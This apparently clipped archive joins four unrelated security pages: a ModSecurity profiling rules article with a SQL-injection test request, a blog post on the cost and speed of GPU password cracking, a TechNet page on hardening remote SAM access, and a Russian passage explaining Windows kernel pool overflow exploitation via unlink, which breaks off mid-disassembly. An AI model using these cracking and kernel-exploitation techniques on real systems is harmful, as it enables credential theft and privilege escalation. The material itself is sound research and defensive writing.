    [Thu Feb 17 11:32:12 2011] [error] [client ::1] ModSecurity: Warning. Pattern match "length_check2_(.*)$" at MATCHED_VAR_NAME. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_40_profiler.conf"] [line "102"] 
    **[msg "Invalid Parameter Length."] [data "Parameter (ARGS:param1) Length: 18"] **[tag "POLICY/PARAMETER_VIOLATION"] **[tag "OWASP_AppSensor/RE7"]** [hostname "localhost"] [uri "/cgi-bin/printenv"] [unique_id "TV1NjMCoAW0AAG51DUEAAAAA"] 
[/code]

### Parameter Type Checks

Test by changing the type for param1 from digits to include meta-characters
\(such as the single tick mark to test for SQL Injection flaws\) -

[code]

    $ curl "http://localhost/cgi-bin/printenv?p**aram1=123456'** ¶m2=foo"
[/code]

This results in the following alert message:

[code]

    [Thu Feb 17 11:57:26 2011] [error] [client ::1] ModSecurity: Warning. Pattern match "digits_check_(.*)$" at MATCHED_VAR_NAME. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_40_profiler.conf"] [line "126"] 
    **[msg "Invalid Character(s) in Payload - Expecting Digits."] [data "Parameter (ARGS:param1): 123456'"] [tag "OWASP_AppSensor/RE8"]** [hostname "localhost"] [uri "/cgi-bin/printenv"] [unique_id "TV1TdsCoAW0AAHu4GPQAAAAE"]
[/code]

## Current Limitations

While this ruleset is a great first step in the profiling direction, it is not
perfect. The main limitation with this ruleset is that here is no **auto-
relearning.** Once the rules have moved from profiling into enforcement, they
are stay in that mode. This means that if you have a legitimate code push,
then you will probably have to remove the resource collections and then the
profiling will restart.

Depending on the amount of data you need to profiler per resource, you may run
into SDBM persistent storage size limits. By default, you have ~800 bytes of
usable storage. If you run into this issue, you will see this error message:

[code]

    [1] Failed to write to DBM file "/tmp/IP": Invalid argument
[/code]

If you need more than that, you should download the separate APR and APR-Util
packages then edit the "\#define PAIRMAX" setting in the
/dbm/sdbm/sdbm\_private.h file. You should then recompile both Apache and
ModSecurity referencing the updated APR/APR-Util packages.

If you want to exclude certain URLs from profiling all together, we have some
rules commented out that you can activate. They will do an @pmFromFile check
against an external file. This will allow you to add URLs to be exluded to
this list file.

## Future Directions

There are a number of other profiling checks that will be adding soon
including number of cookies, cookie names, referer checks and more parameter
type checks. Another item to consider would be to make sure that we factor in
transactions from different clients to ensure that one client does not solely
create the profile. We also have plans to integrate this type of learning into
ModSecurity core engines as well. We chose to release this version using
SecRules to the community so that we can have more testing before adding in
new checks.

Please help us out by testing these rules and providing feedback on the OWASP
ModSecurity Core Rule Set mail-list.

# gat3way's place on the net - In the news...

**Created:**| _3/11/2013 8:35:35 AM_  
---|---  
**Updated:**| _3/11/2013 8:35:35 AM_  
**Author:**| __  
**Tags:**| _cuda GPU passwords_  
  

# In the news...

03/10/13

### Economics of GPU password recovery

* * *
**<img src='img/Temp2_10261.jpg' width='120' height='95' /> **

Posted by: **gat3way** in fun

This is my first post in English and I hope you'd put up with my poor command
of it :\)

Normally, I would write about the latest hashkill developments, new features,
technical and crypto-related mumbo jumbo and stuff. This post is going to be
different, more practical in a way.

Perhaps some of you have seen my GPU estimations table for hashkill  \(which
to be honest desperately needs an update\). I started it a long time ago when
hashkill was still capable of attacking just a couple of "fast" hash
algorithms \(including bitcoin and SL3 which are not supported anymore\). I
borrowed the idea from Ivan Golubev . I believe both estimation tables are
prepared more or less the same way - by gathering statistics about ALU
operations and extrapolating based on shader cores, core clocks and some minor
perks related to different architectures. While this works for simple "fast"
algorithms which are 100% ALU-bound, it gets much more complicated to do the
same calculations for "slow" and more complex algorithms which may involve
branch divergence and use of shared memory. This is one of the reasons I
haven't updated it yet for more algorithms.

I got bored today \(still too exhausted after the "ASOT 600" party here in
Sofia  to do any coding\) so I decided to play with drawing some ugly diagrams
and doing some tests. My idea was to evaluate GPU password recovery of "slow"
hash algorithms from practical and economical standpoint. For my tests, I used
an AMD Radeon HD7970 GPU. So here are the results \(and a pile of ugly
diagrams\).

Most people don't have a good idea about the cryptography employed by
different products. Actually, most people do believe password recovery works
by bruteforcing the keyspace until the password is found. While this approach
might guarantee successful attack result \(depending on charset\), it is not
practical with "slow" algorithms. In fact it might not be practical even with
"fast" ones such as MD5. The keyspace might be enormous \(in fact, "keyspace"
is not the correct term, but I guess "password space" sounds...strange\). For
example, bruteforcing a 20-character password \(md5\) out of the alpha-numeric
space would take about 83 million years when run on a cluster of 1 million
7970 GPUs - which is completely impractical. Well, it gets much worse for slow
hashes where bruteforcing even 10-character alpha-numeric password may get
equally impractical.

In fact good wordlists expanded with clever rules is the only practical
approach for "slow" algorithms right now and this would not change soon. We
are exploiting the fact that human passwords generally have low entropy. Thus,
stronger passwords are likely out of reach.

Anyway let's finally move to the colorful graphs :\) Keep in mind that the
speeds were achieved using the most intensive settings and rules that were
able to take advantage of the GPU offloading for candidate generation in
hashkill \(which rules take advantage of GPU offload is an interesting
question that I would probably try to answer in details in a different post\).

First, let's see how the things are going with password recovery of protected
archives. On the Y axis we have the attack speed \(the higher, the better\):

<img src='http://www.gat3way.eu/uploads/images/econ/archives - all.png' />

This diagram is rather...skewed by the ZIP \(old\) algorithm which should
better be put in the "fast" category I believe. OK let's remove it and see how
it goes:

<img src='http://www.gat3way.eu/uploads/images/econ/archives - mid.png' />

Hm still what about DMG \(10.8\)? OK, removing ZIP \(AES\) as well:

<img src='http://www.gat3way.eu/uploads/images/econ/archives - low.png' />

Now that's better. We can get a better impression of the scale - cracking DMG
produced by MacOSX Mountain Lion \(10.8\) is orders of magnitude slower than
cracking ZIP passwords :\) In fact, it is close to being impractical to crack,
unless we either know something part of the password or we are armed with a
huge cluster with thousands of GPUs and we can pay the enormous running costs
:\)

Jeremiah Grossman was lucky recovering his DMG password , he knew part of it
though.

Let's move on to the document formats:

<img src='http://www.gat3way.eu/uploads/images/econ/documents - all.png' />

Again, diagram is skewed by the PDF \(R5\) results. As you know, PDF has
several revisions to the password protection and encryption algorithms. PDF R5
uses just a simple SHA256. hashkill's results are in fact quite bad as this
algorithm could have been accelerated at least 9x faster. This implementation
flaw should be fixed soon. Well, at least the diagram is not completely
dominated by PDF R5 yet :\) Let's remove the faster algos and see how it would
look like though:

<img src='http://www.gat3way.eu/uploads/images/econ/documents - lower.png' />

You can see the huge gap between PDF R6 and PDF R5. With revision 6, Adobe
basically made GPU recovery pointless by introducing a lot of branch
divergence and moving to a memory-bound algorithm. In fact, the CPU
implementation is often faster than the GPU one even when running on a 7970
:\) Another thing that is worth mentioning is that OpenOffice uses Blowfish as
a symmetric cipher \(newer versions use AES\). Blowfish is an anti-GPU
algorithm and needs to be performed on CPU. Thus results may vary depending on
your CPU.

Let's move on to cracking Full Disk Encryption. Currently, hashkill supports
just TrueCrypt and LUKS. Below is the diagram:

<img src='http://www.gat3way.eu/uploads/images/econ/fde - all.png' />

It gets funny here. As you can see, we have two entries for TrueCrypt - one
when using the default settings, and the other when trying all the possible
algorithms. This is better explained in this document.  In real life though,
you may never be sure whether the default settings were used when creating the
volume.

Now let's move to my recent obsession - password managers:

<img src='http://www.gat3way.eu/uploads/images/econ/passwordman - all.png' />

Yet again, the graph is dominated, this time by the Mozilla cracking speed.
Mozilla is rather insecure password manager as compared to most other
solutions in terms of password cracking. OK - let's remove it and see how the
diagram would look like:

<img src='http://www.gat3way.eu/uploads/images/econ/passwordman - low.png' />

We got somewhat more balanced diagram this time. KeePass2 is much faster to
crack as compared to the opensource KeePassX that uses the old database
format, which is funny at least to me.

OK let's have a look at the diagram about system passwords now:

<img src='http://www.gat3way.eu/uploads/images/econ/system - all.png' />

OK we know NTLM is a "fast" algo so that was expected. Let's remove it and OSX
ones and see how it looks like:

<img src='http://www.gat3way.eu/uploads/images/econ/system - realmid.png' />

Hm, the diagram still skewed by the cracking speed of MD5Crypt. Let's remove
it as well:

<img src='http://www.gat3way.eu/uploads/images/econ/system - reallow.png' />

As you can see, there are huge differences among system passwords hash algos'
cracking speed. hashkill still doesn't support OSX Mountain Lion hashes - and
they are expected to be slower to crack even as compared to BCrypt.

But where does the WPA-PSK cracking speed stand? Let's see:

<img src='img/Temp2_10258.jpg' />

Well not so bad, much better than RAR for example :\)

As you might have already noticed, the title of the post was about the
economics of GPU password recovery and yet nothing was mentioned about
economics and money. Of course you can easily do some quick calculations about
the cost to try a wordlist of say 1 billion candidate passwords. Here is an
example diagram, the cost \(in EUR\) to try a 10 billion candidates wordlist
using 4x7970s \(the lower the better from attacker's perspective, the higher -
the better for energy distribution companies\). Assuming price per KWh is 0.1
EUR \(which is more or less valid for Bulgaria, might be much more expensive
or cheaper depending on where you live. It also takes into consideration just
the direct energy costs, however you might have other costs related to cooling
for example.

<img src='img/Temp2_10259.jpg' />

As you can see, it could be relatively expensive to try even 10 billion
candidates in an attempt to crack a linux system password.

So that's all for now. Hope you liked the ugly diagrams :\)

* * *
### **Comments:**

### Add A Comment

<img src='img/Temp2_10260.jpg' width='264' height='76' alt='This is a captcha-
picture. It is used to prevent mass-access by robots. (see: www.captcha.net)'
/> Code in the picture:|  
---|---  
Your Name\(\*\):|  
Comment\(\*\):|

# TechNet SAMRi10 - Hardening SAM Remote Access in Windows 10/Server 2016

**Created:**| _12/5/2016 9:48:57 PM_  
---|---  
**Updated:**| _12/5/2016 9:48:57 PM_  
**Author:**| __  
**Tags:**| _LOLZ w_  
  

  

<img src='img/10347_download.png' width='25' height='25' />Laden Sie Windows
Server 2012 herunter

### Schnellzugriff

Meine Beiträge

Beitrag hochladen

<img src='img/10338_avatar.jpg' width='114' height='116' alt=' Avatar von Itai Grady ' /> |  875 Punkte Obere 5%  
---|---  
Itai Grady  
---  
MSFT |  Beigetreten Feb 2015  
2 |  Beiträge anzeigen Aktivität anzeigen  
# SAMRi10 - Hardening SAM Remote Access in Windows 10/Server 2016

## "SAMRi10" tool is a short PowerShell \(PS\) script which alters remote SAM
access default permissions on Windows 10 & Windows Server 2016. This hardening
process prevents attackers from easily getting some valuable recon information
to move laterally within their victim's network.

Herunterladen

SAMRi10.zip

Bewertungen

\(1\)

Heruntergeladen 881-mal

Favoriten Zu Favoriten hinzufügen

Kategorie Sicherheit

Unterkategorie

DACLs

Zuletzt aktualisiert 01.12.2016

Lizenz

TechNet-Nutzungsbedingungen

Freigeben

<img src='img/email.gif' width='16' height='16' alt='Als E-Mail versenden' />
<img src='img/10333_delicious.gif' width='16' height='16' alt='Bookmarken bei
del.icio.us' /> <img src='img/10332_digg.gif' width='16' height='16'
alt='Bookmarken bei Digg' /> <img src='img/10331_facebook.gif' width='16'
height='16' alt='Bookmarken bei Facebook' /> <img src='img/10345_reddit.gif'
width='16' height='16' alt='Reddit' /> <img src='img/10335_slashdot.gif'
width='16' height='16' alt='Slashdot' /> <img src='img/10337_twitter.gif'
width='16' height='16' alt='Link twittern' /> <img
src='img/10339_livefavorites.gif' width='16' height='16' alt='Bookmarken bei
Live' /> <img src='img/10339_livefavorites.gif' width='16' height='16'
alt='Windows Live Spaces' />

Übersetzt nach

English

Kategorien

Security, Powershell, Permissions, Domain Controllers, Windows 10, Windows
Server 2016, Security Account Manager

Missbrauch an Microsoft melden

Beschreibung

Fragen und Antworten \(3\)

# Overview

Reconnaissance \(recon for short\) is a key stage within the Advanced
Attackers' kill chain. Once attackers have breached a single end-point, they
need to discover their next targets within the victim’s corporate network,
most notably privileged users. In order to enable admins to harden their
network against such recon attacks targeting local users, we had developed the
“SAMRi10” \(pronounced Samaritan\) tool.

# Introduction

Reconnaissance \(recon for short\) is a key stage within the Advanced
Attackers' kill chain. Once attackers have breached a single end-point, they
need to discover their next targets within the victim’s corporate network,
most notably privileged users

Attackers utilize compromised credentials in order to move laterally within
their victims’ network. These compromised credentials may consist of either
domain or local credentials. Local credentials, especially those of local
admins, are a lucrative target for the attackers as they are less managed
\(password complexity and change policy\) and less monitored \(no traffic and
logs besides the specific computer\).

Querying the Windows Security Account Manager \(SAM\) remotely via the SAM-
Remote \(SAMR\) protocol against their victim’s domain machines, allows the
attackers to get all domain and local users with their group membership and
map possible routes within the victim’s network. Recently, some frameworks
\(e.g.  BloodHound\) have  automated that mapping process.  
  
By default, the SAM can be accessed remotely \(via SAMR\) by any authenticated
user, including network connected users, which effectively means that any
domain user is able to access it. Windows 10 had introduced an option to
control the remote access to the SAM, through a specific registry value. On
Windows Anniversary update \(Windows 10 Version 1607\) the default permissions
were changed to allow remote access only to administrators. An accompanying
Group Policy setting was added, which gives a user-friendly interface to alter
these default permissions.

In order to enable admins to have granular control over remote access to SAM
for all Windows 10 versions, we had developed the “SAMRi10” \(pronounced
Samaritan\) tool. The SAMRi10 tool is a short PowerShell \(PS\) script which
alters these default permissions on all Windows 10 versions and Windows Server
2016. Most significantly, this hardening process should block attackers from
easily getting valuable recon information.

# Security Account Manager \(SAM\) and Active Directory

Accounts are always created relative to an issuing authority. In Windows, the
issuing authority is referred to as a domain. A domain can be either a local
domain or extend across a network. Domains store information about their
accounts in an account database. Windows uses Active Directory as the account
database in domain-based environments, whereas in environments that are not
domain-based, it uses the security account manager \(SAM\) built-in database
as the account database.

## Local Domains and Account database

Every computer that runs Windows has its own local domain, that is, it has an
account database for accounts that are specific to that computer. These are
referred to as local accounts, local groups, and so on. Because computers
typically do not trust each other for account information, these identities
stay local to the computer on which they were created.

## Network Domains and Domain Controllers

In a network domain, certain Windows servers can be configured to be domain
controllers. A domain controller is a server that has made its account
database available to other machines in a controlled manner.

## SAMR: Remote Querying of SAM

The Security Account Manager Remote Protocol \(SAMR\) exposes the security
accounts manager database for a remote authenticated domain user. It does so
for both **local** and **domain** accounts. There are five objects that are
exposed by the protocol; server, domain, group, alias and user. All these
objects can be updated and read, and some \(user, group and alias\) can also
be created and deleted.

### Flow and Usage

The basic flow of using the SAMR protocol is as such:

  1. Connect to a server \(the remote machine\). 
  2. Enumerate/lookup the server for domains. 
  3. Open the domain of interest. 
  4. Lookup a user or alias/group in the domain. 
  5. Open the user/alias of interest. 
  6. Query the user/alias of interest. 

There are a few tools that utilize these API calls, such as  Net User/Group,
PowerSploit’s Get-NetLocalGroup and  Imapcket’s SAMRdump. Net User and Net
Group are Windows built-in command line tools. With these tools an
authenticated user can add or modify and display information on users or
groups respectively on the local machine or its domain controller. The Get-
NetLocalGroup queries a remote machine for its local groups \(including the
“Administrators” and “Users” groups\). SAMRdump, queries the target machine
for its local users \(using the EnumDomainUsers on the target machine\).

MicrosoftATA detects the use of such query and alerts the security
administrator about it

<img src='img/Temp2_7936.png' width='975' height='346' />

Figure 1: MicrosoftATA alert on Domain Users recon

# SAMR Required Permissions

Prior to Windows 10, any domain user could query any computer for its local
users via the SAMR protocol. In Windows 10, SAM remote permissions can be
configured by setting the following registry value:

HKLM/System/CurrentControlSet/Control/Lsa/RestrictRemoteSAM

The Windows Anniversary update version changed the default security descriptor
for the SAM access to limit the remote querying of SAM to local administrators
only, **even if the aforementioned registry key is not present** , and added a
Group Policy setting \(“Network Access: Restrict clients allowed to make
remote calls to SAM”\) to allow the central administration of this policy
setting.

<img src='img/Temp2_7939.png' width='1232' height='261' />

Figure 2:New Group Policy settings in anniversary update

<img src='img/Temp2_7940.png' width='740' height='190' />

RestrictRemoteSAM value is a string format of a Security Descriptor Definition
Language \(SDDL\) which contains a Discretionary Access Control List \(DACL\)
with a suitable Access Control Entry for allowed/denied users/groups.

# SAMRi10 details

The SAMRi10 script hardens the remote access to the SAM by giving permission
for members of Administrators group or the newly created group \(also by this
script\) named “Remote SAM Users”.  
This will allow any administrator or any service/user account added to the
“Remote SAM Users” local group to remotely access SAM on the hardened machine.

## Using SAMRi10.ps1

Run The SAMRi10 PowerShell script as administrator on the machine you wish to
harden \(Windows 10/Server 2016+\).  
<img src='img/Temp2_7934.png' width='366' height='91' />

Figure 3:.\SAMRi10.ps1 execution

To allow Service/User account to remotely access SAM on the hardened machine,
please add it to the newly created “Remote SAM Users” group. \(as seen in
Figure 8\)

### Revert Option

To revert changes done by the SAMRi10 tool, use the Revert option.  
Registry value will be set to the backed up value and the “Remote SAM Users”
group will be deleted.

For example:  

<img src='img/Temp2_7937.png' width='311' height='105' />

Figure 5:.\SAMRi10.ps1 -Revert

## Results on SAMRi10 Hardened Targets

### Net User on a Hardened Domain Controller

A Windows Server 2016 domain controller, hardened by the SAMRi10 tool, will
respond differently to a remote SAM access, based upon the requesting user
account type:

  * Domain Admin account: Querying a hardened domain controller, with the “Net User/Group” for example, will be completed successfully. 
  * Non-privileged User account: Querying a hardened domain controller, with the “Net User/Group” for example, will result with an “Access is denied” error. 
  * Member of “Remote SAM Users”: Querying a hardened domain controller, with the “Net User/Group” for example, will be completed successfully. 

The following figures represent the scenarios described above:

<img src='img/Temp2_7941.png' width='691' height='364' />

Figure 6:Administrator successfully calls Net User from remote on a hardened
domain controller

<img src='img/Temp2_7933.png' width='898' height='199' />

Figure 7:User2 \(non-admin\) gets access denied calling Net User remotely to a
hardened Domain Controller

<img src='img/Temp2_7932.png' width='399' height='157' />

Figure 8:Group membership of Remote SAM Users on the hardened Domain
Controller

<img src='img/Temp2_7942.png' width='781' height='417' />

Figure 9:User3 \(non-admin, but member of “Remote SAM Users”\) successfully
calls Net User on a hardened Domain Controller

### Get-NetLocalGroup Against a Hardened Machine

A Windows 10 machine, hardened by the SAMRi10 tool, will respond to a remote
SAM access, based upon the requesting user account type, similar to a hardened
2016 domain controller.  
Remote execution of PowerSploit’s Get-NetLocalGroup method against a SAMRi10
hardened computer, using an unprivileged user will result with an “Access is
denied” error.

Executing the same method, with an administrative account or a member of the
local “Remote SAM Users” on the remote machine, will be completed
successfully.

The following figures represent the scenarios described above:

<img src='img/Temp2_7938.png' width='645' height='84' />

Figure 10:user2 \(non-admin\) gets access denied call Get-NetLocalGroup on a
hardened Windows 10 machine

<img src='img/Temp2_7935.png' width='647' height='517' />

Figure 11:user1 \(local admin\) successfully calls Get-NetLocalGroup on a
hardened Windows 10 machine

Auf den folgenden Plattformen überprüft Windows 10  |  Ja   
---|---  
Windows Server 2012  |  Nein   
Windows Server 2012 R2  |  Nein   
Windows Server 2008 R2  |  Nein   
Windows Server 2008  |  Nein   
Windows Server 2003  |  Nein   
Windows 8  |  Nein   
Windows 7  |  Nein   
Windows Vista  |  Nein   
Windows XP  |  Nein   
Windows 2000  |  Nein   
Dieses Skript wurde vom Autor auf diesen Plattformen getestet. Es wird davon
ausgegangen, dass es auch auf anderen Plattformen funktioniert. Wenn Sie es
erfolgreich auf anderen Plattformen ausführen können, lassen Sie dies andere
Benutzer doch bitte durch einen Hinweis in der Skriptdiskussion wissen.

  

# Kernel Pool Overflow: от теории к практике | Alexander Bazhanyuk
**Created:**| _5/19/2011 6:53:28 AM_  
---|---  
**Updated:**| _5/19/2011 6:53:47 AM_  
**Author:**| __  
**Tags:**| _Exploit windows vulnerability kernel_  
  

← Метаморф – легенда или реальность

Bitblaze – будущие безопасности ПО →

# Kernel Pool Overflow: от теории к практике

Posted on March 28, 2011 by virvdova

**Kernel Pool Overflow: от теории к практике**

_Никита Тараканов \(CISS Research Team\)  
Александр Бажанюк_ _\(CISS Research Team\)_

Ядро Windows всегда было лакомым кусочком для хакера, особенно при наличии
законченных методик его эксплуатирования, приводящих к повышению прав.
Учитывая тот факт, что за последние несколько лет количество уязвимостей,
связанных с переполнением динамической памяти ядра, резко возросло, я активно
заинтересовался данным направлением и, к собственному удивлению, в конечном
итоге накопал столько материала, что его хватит не на один 0day-баг.

<img src='img/Temp2_4778.jpg' width='639' height='496' />

### **Актуальность проблемы**

Технология Memory Management является одной из самых важных в работе ядра.
Уязвимости этого механизма, пожалуй, также самые страшные и, в то же время,
актуальные. Они и являются основным стимулом для создания всяких разных видов
защиты, таких как safe unlinking. В данной статье будут детально рассмотрены
некоторые аспекты, как теоретические, так и практические, по эксплуатации
динамического переполнения памяти ядра.

Для начала я покажу пальцем на самых ярких представителей уязвимостей этой
касты:

  * **ms08-001** — IGMPv3 Kernel Pool Overflow – удаленное переполнение в tcpip.sys;
  * **ms09-006** – уязвимость в обработке определенных записей wmf/emf, связанная с брешью в win32k.sys;
  * **ms10-058** – integer overflow уязвимость, ведущая к переполнению пула в tcpip.sys.

### **Обзор распределения памяти ядром**

Как в любой уважающей себя операционной системе, Windows \(а точнее говоря, ее
ядро\) предоставляет некоторые функции для выделения/освобождения памяти.
Виртуальная память состоит из блоков, называемых страницами. В архитектуре
Intel x86 размер страницы составляет 4096 байт. Однако большинство запросов на
выделение памяти меньше объема страницы. Поэтому функции ядра, такие как
ExAllocatePoolWithTag и ExFreePoolWithTag, резервируют неиспользуемую память
для последующего ее выделения. Внутренние функции напрямую взаимодействуют с
железом каждый раз, когда страница задействована. Все эти процедуры достаточно
сложны и деликатны, вот почему они реализованы именно в ядре.

### **Различия между Paged и NonPaged pool**

Память ядра системы делится на два различных пула. Этот финт был придуман для
выделения наиболее часто используемых блоков памяти. Система должна знать,
какие страницы наиболее востребованы, а от каких можно временно отказаться
\(логично, правда?\). Paged pool может быть сохранен в оперативной памяти или
вытеснен в файловую систему \(swap\). NonPaged pool используется для важных
задач, существует только в оперативной памяти и для каждого уровня IRQL.

Файл pagefile.sys содержит paged-память. В недалеком прошлом он уже становился
жертвой атаки, в ходе которой неподписанный код внедрялся в ядро Vista. Среди
обсуждаемых решений было предложено отключить paged-память. Джоанна Рутковска
рекламировала такое решение как более безопасное по сравнению с другими, хотя
следствием этого стала небольшая потеря физической памяти. Microsoft
отказывается от прямого доступа к диску, что подтверждает важность таких
возможностей ядра Windows, как Paged- и NonPaged-пулы. Эта статья написана с
упором на NonPaged pool, так как обработка Paged-Pool происходит совершенно
иначе. NonPaged pool можно рассматривать как более ли менее типичную
реализацию heap. Подробная информация о системных пулах доступна в Microsoft
Windows Internals.

### **Таблица NonPaged pool**

Алгоритм выделения должен быстро распределять наиболее часто используемые
объемы. Поэтому существуют три разные таблицы, каждая из которых выделяет
память определенного диапазона. Такую структуру я обнаружил в большинстве
алгоритмов управления памятью. Считывание блоков памяти с устройств занимает
некоторое время, поэтому в алгоритмах Windows происходит балансировка между
скоростью ответа и оптимальным выделением памяти. Время ответа сокращается,
если блоки памяти сохраняются для последующего выделения. С другой стороны,
избыточное резервирование памяти может сказаться на производительности.  
Таблица представляет собой отдельный способ хранения блоков памяти. Мы
рассмотрим каждую таблицу и ее местоположение.

**NonPaged lookaside** – таблица, назначаемая каждому процессору и работающая
с объемами памяти, менее или равными 256 байт. У каждого процессора есть
контрольный реестр \(PCR\), хранящий служебные данные процессора – уровень
IRQL, GDT, IDT. Расширение реестра называется контрольным регионом \(PCRB\) и
содержит lookaside-таблицы. Следующий дамп windbg представляет структуру такой
таблицы:

<img src='img/Temp2_4782.jpg' width='683' height='665' />

Дампы структур в windbg

Lookaside-таблицы предоставляют наиболее быстрое считывание блоков памяти по
сравнению с другими типами. Для такой оптимизации очень важно время задержки,
а односвязный список \(который реализован в Lookaside\) тут намного
эффективнее, чем двухсвязный. Функция ExInterlockedPopEntrySList используется
для выбора записи из списка с использованием аппаратной инструкции «lock».
PPNPagedLookasideList и есть вышеупомянутая Lookaside-таблица. Она содержит
два Lookaside-списка: P и L. Поле «depth» структуры GENERAL\_LOOKASIDE
определяет, как много записей может находиться в списке ListHead. Система
регулярно обновляет этот параметр, используя различные счетчики. Алгоритм
обновления основан на номере процессора и не одинаков для P и L. В списке P
поле «depth» обновляется чаще, чем в списке L, потому что P оптимизирован под
очень маленькие блоки.

Вторая таблица зависит от числа процессоров и того, как ими управляет система.
Данный способ выделения памяти будет использоваться, если объем менее или
равен 4080 байт, или если lookaside-поиск не дал результатов. Даже если
целевая таблица меняется, у нее будет та же структура POOL\_DEscriptOR. В
случае единственного процессора используется переменная PoolVector для
считывания указателя NonPagedPoolDescriptor. В случае многих процессоров,
таблица ExpNonPagedPoolDescriptor содержит 16 слотов с описаниями пулов. PCRB
каждого процессора указывает на структуру KNODE. Узел может быть связан с
более чем одним процессором и содержит поле «color», используемое как список
для ExpNonPagedPoolDescriptor. Следующие схемы иллюстрируют этот алгоритм:

<img src='img/Temp2_4776.jpg' width='683' height='111' />

Описание пула при одном процессоре

<img src='img/Temp2_4780.jpg' width='505' height='293' />

Описание пула при нескольких процессорах

Ядро определяет глобальную переменную ExpNumberOfNonPagedPools, если данная
таблица используется несколькими процессорами. Она должна содержать количество
процессоров.

Следующий дамп windbg отображает структуру POOL\_DEscriptOR:

###### **Структура POOL\_DEscriptOR**

В очереди spinlock’ов реализована синхронизация; часть библиотеки HAL
используется для предотвращения конфликтов в дескрипторе пула \(pool
descriptor\). Эта процедура позволяет только одному процессору и одной нити
получать одновременный доступ к записи из дескриптора пула. Библиотека HAL
различается на разных архитектурах. Для дескриптора пула по умолчанию главный
NonPaged spinlock заблокирован \(LockQueueNonPagedPoolLock\). А если он не
заблокирован, то для него создается отдельная очередь spinlock.

Третья, и последняя таблица используется процессорами для обработки памяти
объемов свыше 4080 байт. MmNonPagedPoolFreeListHead также используется, если
закончилась память в остальных таблицах. Доступ к этой таблице происходит при
обращении к главной очереди NonPaged spinlock’ом, также называемой
LockQueueNonPagedPoolLock.

В ходе освобождения меньшего по объему блока памяти ExFreePoolWithTag
объединяет его с предыдущим и следующим свободными блоками. Так может быть
создан блок размером в страницу и более. В этом случае блок добавляется в
таблицу MmNonPagedPoolFreeListHead.

### **Алгоритмы выделения и освобождения памяти**

Распределение памяти ядром в разных версиях ОС почти не меняется, но этот
алгоритм не менее сложен, чем heap пользовательских процессов. В этой части
статьи я хочу проиллюстрировать основы поведения таблиц в ходе процедур
выделения и освобождения памяти. Многие детали, такие как механизмы
синхронизации, будут намеренно опущены. Эти алгоритмы помогут в объяснении
метода и понимании основ распределения памяти в ядре.

Алгоритм распределения в NonPaged pool \(ExAllocatePoolWithTag\):

<img src='img/Temp2_4777.jpg' width='589' height='143' />

Алгоритм высвобождения NonPaged pool \(ExFreePoolWithTag\):

<img src='img/Temp2_4781.jpg' width='636' height='313' />

**От синего экрана смерти до исполнения желаний**

При переполнении динамической памяти обычно затираются метаданные других
выделенных блоков, что в основном ведет к нескольким BugCheck’ам \(или
попросту BSOD’ам\):

**BAD\_POOL\_HEADER** : Вызывается в коде ExFreePoolWithTag, если PreviousSize
следующего чанка не равен BlockSize текущего чанка.

`BAD_POOL_HEADER (19)  
The pool is already corrupt at the time of the current request. This may or
may not be due to the caller. The internal pool links must be walked to figure
out a possible cause of the problem, and then special pool applied to the
suspect tags or the driver verifier to a suspect driver.  
Arguments:  
Arg1: 00000020, a pool block header size is corrupt.  
Arg2: 812c1000, The pool entry we were looking for within the page. **< ----
освобождаемый чанк**  
Arg3: 812c1fc8, The next pool entry. **< ---- следующий чанк, заголовок
которого мы затерли**  
Arg4: 0bf90000, (reserved)`

**DRIVER\_CORRUPTED\_EXPOOL:** Вызывается в коде ExFreePoolWithTag, если при
unlink’e произошло исключение Page Fault.

`DRIVER_CORRUPTED_EXPOOL (c5)  
An attempt was made to access a pageable (or completely invalid) address at an  
interrupt request level (IRQL) that is too high. This is caused by drivers
that have corrupted the system pool. Run the driver verifier against any new
(or suspect) drivers, and if that doesn't turn up the culprit, then use gflags
to enable special pool.  
Arguments:  
Arg1: 43434343, memory referenced **< ----- наше фейковое значение Blink'a**  
Arg2: 00000002, IRQL  
Arg3: 00000001, value 0 = read operation, 1 = write operation  
Arg4: 80544d06, address which referenced memory`

**BAD\_POOL\_CALLER:** Вызывается в коде ExFreePoolWithTag, если чанк, который
пытаются освободить, уже является освобожденным.

Рассмотрим подробнее заголовок \(метаданные\) чанка:

view sourceprint?

`01.``// Заголовок чанка`

`02.``typedef` `struct` `_POOL_HEADER`

`03.``{`

`04.``union`

`05.``{`

`06.``struct`

`07.``{`

`08.``USHORT` `PreviousSize : 9;`

`09.``USHORT` `PoolIndex : 7;`

`10.``USHORT` `BlockSize : 9;`

`11.``USHORT` `PoolType : 7;`

`12.``}`

`13.``ULONG32` `Ulong1;`

`14.``}`

`15.``union`

`16.``{`

`17.``struct` `_EPROCESS* ProcessBilled;`

`18.``ULONG` `PoolTag;`

`19.``struct`

`20.``{`

`21.``USHORT` `AllocatorBackTraceIndex;`

`22.``USHORT` `PoolTagHash;`

`23.``}`

`24.``}`

`25.``} POOL_HEADER, *POOL_HEADER;` `// sizeof(POOL_HEADER) == 8`

Значения PreviousSize, BlockSize вычисляются следующим образом:

view sourceprint?

`1.``PreviousSize = (Размер_Предыдцщего_Чанка_В_Байтах +`
`sizeof``(POOL_HEADER)) / 8`

`2.``BlockSize = (Размер_Чанка_В_Байтах +` `sizeof``(POOL_HEADER)) / 8`

Если значение PoolType равно нулю, то такой чанк является освобожденным, и
после заголовка идет структура nt\!\_LIST\_ENTRY.

`kd> dt nt!_LIST_ENTRY  
+0x000 Flink : Ptr32 _LIST_ENTRY  
+0x004 Blink : Ptr32 _LIST_ENTRY`

### **Эксплуатация**

Алгоритм освобождения чанка работает таким образом, что если после
освобождаемого чанка есть свободный, то происходит слияние, то есть из двух
свободных чанков склеивается один. Это происходит путем нехитрой операции
unlink’a.

Удаляем запись entry из двусвязного списка

`PLIST_ENTRY b,f;  
f=entry->Flink;  
b=entry->Blink;  
b->Flink=f;  
f->Blink=b;`

Это ведет к перезаписи 4 байт по контролируемому адресу:

`*(адрес)=значение  
*(значение+4)=адрес`
<img src='img/Temp2_4779.jpg' width='1066' height='483' />

Незатейливая схема алгоритма, который мы осуществили

### **Практикуемся\!**

Обладая достаточными знаниями, рассмотрим уязвимость в драйвере одного
антивирусного продукта.

`.text:00016330 mov cx, [eax]**; eax указывает на данные под нашим контролем**  
.text:00016333 inc eax  
.text:00016334 inc eax  
.text:00016335 test cx, cx  
.text:00016338 jnz short loc_16330  
.text:0001633A sub eax, edx  
.text:0001633C sar eax, 1  
